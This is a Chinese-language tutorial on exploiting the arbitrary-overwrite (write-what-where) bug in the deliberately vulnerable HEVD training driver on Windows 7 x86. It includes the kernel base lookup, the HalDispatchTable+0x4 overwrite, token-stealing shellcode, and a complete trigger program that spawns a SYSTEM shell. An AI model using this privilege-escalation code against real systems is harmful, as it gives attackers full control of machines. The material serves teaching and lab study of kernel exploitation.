Windows Kernel Exploit(三) -> Write-What-Where
字数 935 2025-08-05 08:20:14

Windows Kernel Exploit: Write-What-Where漏洞分析与利用

0x00 前言

本文是Windows内核漏洞利用系列的第三部分,重点讲解任意内存覆盖漏洞(Write-What-Where)的原理与利用方法。在学习本文前,需要准备以下环境:

  • Windows 7 x86 sp1虚拟机
  • 配置好windbg等调试工具(建议配合VirtualKD使用)
  • HEVD+OSR Loader构造漏洞环境

0x01 漏洞原理

漏洞代码分析

在HEVD.sys中的TriggerArbitraryOverwrite函数存在任意内存覆盖漏洞:

int __stdcall TriggerArbitraryOverwrite(_WRITE_WHAT_WHERE *UserWriteWhatWhere)
{
    unsigned int *v1; // edi
    unsigned int *v2; // ebx
    
    ProbeForRead(UserWriteWhatWhere, 8u, 4u);
    v1 = UserWriteWhatWhere->What;
    v2 = UserWriteWhatWhere->Where;
    
    DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
    DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", 8);
    DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", v1);
    DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", v2);
    DbgPrint("[+] Triggering Arbitrary Overwrite\n");
    
    *v2 = *v1;
    return 0;
}

安全与非安全版本对比

安全版本会使用ProbeForRead验证地址:

#ifdef SECURE
// 安全版本:验证地址是否在用户模式
ProbeForRead((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(PULONG_PTR));
ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(PULONG_PTR));
*(Where) = *(What);
#else
// 漏洞版本:直接写入,无验证
DbgPrint("[+] Triggering Arbitrary Overwrite\n");
*(Where) = *(What);
#endif

漏洞本质

漏洞允许攻击者:

  1. 通过What指针指定要写入的值
  2. 通过Where指针指定要写入的地址
  3. 内核未验证这两个指针的有效性,导致可以任意地址写入

0x02 漏洞利用

控制码计算

漏洞对应的IOCTL控制码定义:

#define HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS)

计算公式:

hex((0x00000022 << 16) | (0x00000000 << 14) | (0x802 << 2) | 0x00000003)
# 结果为0x22200b

数据结构

WRITE_WHAT_WHERE结构体定义:

typedef struct _WRITE_WHAT_WHERE {
    PULONG_PTR What;
    PULONG_PTR Where;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;

利用思路

  1. 确定目标地址:覆盖HalDispatchTable+0x4处的函数指针
  2. 构造Payload
    • What指向Shellcode地址
    • Where指向HalDispatchTable+0x4
  3. 触发执行:调用NtQueryIntervalProfile函数

关键步骤实现

1. 获取ntkrnlpa.exe基地址

LPVOID NtkrnlpaBase() {
    LPVOID lpImageBase[1024];
    DWORD lpcbNeeded;
    TCHAR lpfileName[1024];
    
    EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded);
    
    for(int i = 0; i < 1024; i++) {
        GetDeviceDriverBaseNameA(lpImageBase[i], lpfileName, 48);
        if(!strcmp(lpfileName, "ntkrnlpa.exe")) {
            printf("[+]success to get %s\n", lpfileName);
            return lpImageBase[i];
        }
    }
    return NULL;
}

2. 计算HalDispatchTable+0x4地址

// 获取用户空间基地址
HMODULE hUserSpaceBase = LoadLibrary("ntkrnlpa.exe");
// 获取用户空间HalDispatchTable地址
PVOID pUserSpaceAddress = GetProcAddress(hUserSpaceBase, "HalDispatchTable");
// 计算内核空间HalDispatchTable+0x4地址
DWORD32 hal_4 = (DWORD32)pNtkrnlpaBase + ((DWORD32)pUserSpaceAddress - (DWORD32)hUserSpaceBase) + 0x4;

3. Shellcode设计

static VOID ShellCode() {
    _asm {
        // int 3
        pop edi    // 堆栈平衡
        pop esi
        pop ebx
        pushad
        
        mov eax, fs:[124h]    // 获取当前线程的_KTHREAD结构
        mov eax, [eax+0x50]   // 获取_EPROCESS结构
        mov ecx, eax
        mov edx, 4            // SYSTEM进程PID=4
        
    find_sys_pid:
        mov eax, [eax+0xb8]   // 遍历进程活动链表
        sub eax, 0xb8         // 链表遍历
        cmp [eax+0xb4], edx   // 比较PID是否为SYSTEM
        jnz find_sys_pid
        
        // 替换Token
        mov edx, [eax+0xf8]
        mov [ecx+0xf8], edx
        
        popad
        // int 3
        ret
    }
}

4. 触发漏洞

#include <stdio.h>
#include <Windows.h>

int main() {
    char buf[8];
    DWORD recvBuf;
    
    // 获取驱动句柄
    HANDLE hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
                                GENERIC_READ | GENERIC_WRITE,
                                NULL, NULL,
                                OPEN_EXISTING,
                                NULL, NULL);
    
    if(hDevice == INVALID_HANDLE_VALUE || hDevice == NULL) {
        printf("Failed to get HANDLE!!!\n");
        return 0;
    }
    
    // 构造What和Where指针
    memset(buf, 0, 8);
    *(DWORD*)&buf[0] = (DWORD)&ShellCode;  // What指针
    *(DWORD*)&buf[4] = hal_4;              // Where指针
    
    // 触发漏洞
    DeviceIoControl(hDevice, 0x22200b, buf, 8, NULL, 0, &recvBuf, NULL);
    
    // 触发Shellcode执行
    NtQueryIntervalProfile(2, (PULONG)0x1);
    
    // 验证提权
    system("cmd.exe");
    return 0;
}

0x03 调试技巧

  1. 显示DbgPrint输出:

    ed nt!Kd_DEFAULT_Mask 8
    
  2. 关键函数反汇编:

    u nt!NtQueryIntervalProfile+0x62
    u KeQueryIntervalProfile
    
  3. 查看HalDispatchTable结构:

    dd nt!HalDispatchTable
    

0x04 总结

Write-What-Where漏洞利用的关键点:

  1. 准确计算HalDispatchTable+0x4的地址
  2. 构造正确的Shellcode并确保堆栈平衡
  3. 通过NtQueryIntervalProfile触发修改后的函数指针
  4. Shellcode需要正确遍历进程结构并替换Token

这种漏洞利用方式在内核漏洞利用中非常典型,理解其原理对于学习其他类型的内核漏洞有很大帮助。

Windows Kernel Exploit: Write-What-Where漏洞分析与利用 0x00 前言 本文是Windows内核漏洞利用系列的第三部分,重点讲解任意内存覆盖漏洞(Write-What-Where)的原理与利用方法。在学习本文前,需要准备以下环境: Windows 7 x86 sp1虚拟机 配置好windbg等调试工具(建议配合VirtualKD使用) HEVD+OSR Loader构造漏洞环境 0x01 漏洞原理 漏洞代码分析 在HEVD.sys中的 TriggerArbitraryOverwrite 函数存在任意内存覆盖漏洞: 安全与非安全版本对比 安全版本会使用 ProbeForRead 验证地址: 漏洞本质 漏洞允许攻击者: 通过 What 指针指定要写入的值 通过 Where 指针指定要写入的地址 内核未验证这两个指针的有效性,导致可以任意地址写入 0x02 漏洞利用 控制码计算 漏洞对应的IOCTL控制码定义: 计算公式: 数据结构 WRITE_WHAT_WHERE 结构体定义: 利用思路 确定目标地址 :覆盖 HalDispatchTable+0x4 处的函数指针 构造Payload : What 指向Shellcode地址 Where 指向 HalDispatchTable+0x4 触发执行 :调用 NtQueryIntervalProfile 函数 关键步骤实现 1. 获取ntkrnlpa.exe基地址 2. 计算HalDispatchTable+0x4地址 3. Shellcode设计 4. 触发漏洞 0x03 调试技巧 显示DbgPrint输出: 关键函数反汇编: 查看HalDispatchTable结构: 0x04 总结 Write-What-Where漏洞利用的关键点: 准确计算 HalDispatchTable+0x4 的地址 构造正确的Shellcode并确保堆栈平衡 通过 NtQueryIntervalProfile 触发修改后的函数指针 Shellcode需要正确遍历进程结构并替换Token 这种漏洞利用方式在内核漏洞利用中非常典型,理解其原理对于学习其他类型的内核漏洞有很大帮助。